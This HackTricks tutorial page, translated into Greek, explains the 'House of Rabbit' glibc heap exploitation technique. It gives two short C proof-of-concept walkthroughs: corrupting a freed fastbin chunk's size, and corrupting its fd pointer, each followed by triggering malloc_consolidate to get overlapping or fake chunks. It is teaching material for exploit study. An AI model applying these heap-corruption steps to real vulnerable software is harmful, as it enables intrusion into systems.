House of Rabbit
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Requirements
- Δυνατότητα τροποποίησης του δείκτη fd του fast bin ή του μεγέθους: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προ Forward δείκτη ενός chunk στο fastbin ή το μέγεθός του.
- Δυνατότητα ενεργοποίησης του
malloc_consolidate
: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου chunk είτε με τη συγχώνευση του κορυφαίου chunk, που αναγκάζει τη heap να συγχωνεύσει τα chunks.
Goals
- Δημιουργία επικαλυπτόμενων chunks: Για να έχει ένα chunk επικαλυπτόμενο με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στη heap.
- Κατασκευή ψεύτικων chunks: Για να ξεγελάσετε τον allocator να θεωρεί ένα ψεύτικο chunk ως νόμιμο chunk κατά τη διάρκεια των λειτουργιών της heap.
Steps of the attack
POC 1: Τροποποίηση του μεγέθους ενός fast bin chunk
Objective: Δημιουργία ενός επικαλυπτόμενου chunk τροποποιώντας το μέγεθος ενός fastbin chunk.
- Step 1: Εκχώρηση Chunks
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Αναθέτουμε δύο κομμάτια των 0x40 byte το καθένα. Αυτά τα κομμάτια θα τοποθετηθούν στη λίστα γρήγορων κομματιών μόλις απελευθερωθούν.
- Βήμα 2: Απελευθέρωση Κομματιών
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Απελευθερώνουμε και τα δύο κομμάτια, προσθέτοντάς τα στη λίστα fastbin.
- Βήμα 3: Τροποποίηση Μεγέθους Κομματιού
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Αλλάζουμε τα μεταδεδομένα μεγέθους του chunk1
σε 0xa1. Αυτό είναι ένα κρίσιμο βήμα για να ξεγελάσουμε τον αλγόριθμο κατανομής κατά τη διάρκεια της ενοποίησης.
- Βήμα 4: Ενεργοποιήστε το
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Η εκχώρηση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία malloc_consolidate
, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του chunk1
προκαλεί να επικαλύπτεται με το chunk2
.
Μετά τη συγχώνευση, το chunk1
επικαλύπτεται με το chunk2
, επιτρέποντας περαιτέρω εκμετάλλευση.
POC 2: Τροποποίηση του δείκτη fd
Στόχος: Δημιουργία ενός ψεύτικου κομματιού με την τροποποίηση του δείκτη fd
του γρήγορου bin.
- Βήμα 1: Εκχώρηση Κομματιών
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Εξήγηση: Δεσμεύουμε δύο κομμάτια, ένα μικρότερο και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο κομμάτι.
- Βήμα 2: Δημιουργία ψεύτικου κομματιού
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Γράφουμε ψευδείς μεταδεδομένες πληροφορίες κομματιού στο chunk2
για να προσομοιώσουμε μικρότερα κομμάτια.
- Βήμα 3: Απελευθερώστε το
chunk1
free(chunk1); // Frees the chunk at 0x602000
Εξήγηση: Απελευθερώνουμε το chunk1
, προσθέτοντάς το στη λίστα fastbin.
- Βήμα 4: Τροποποιήστε το
fd
τουchunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Εξήγηση: Αλλάζουμε τον δείκτη προς τα εμπρός (fd
) του chunk1
ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο chunk2
.
- Βήμα 5: Ενεργοποιήστε το
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Η εκχώρηση ενός μεγάλου κομματιού ξαναενεργοποιεί το malloc_consolidate
, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.
Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση.
Περίληψη
Η τεχνική House of Rabbit περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε την παραποίηση του δείκτη fd
για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους επιτιθέμενους να πλαστογραφήσουν νόμιμα κομμάτια στη heap, διευκολύνοντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η πρακτική αυτών των βημάτων θα ενισχύσουν τις ικανότητές σας στην εκμετάλλευση της heap.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.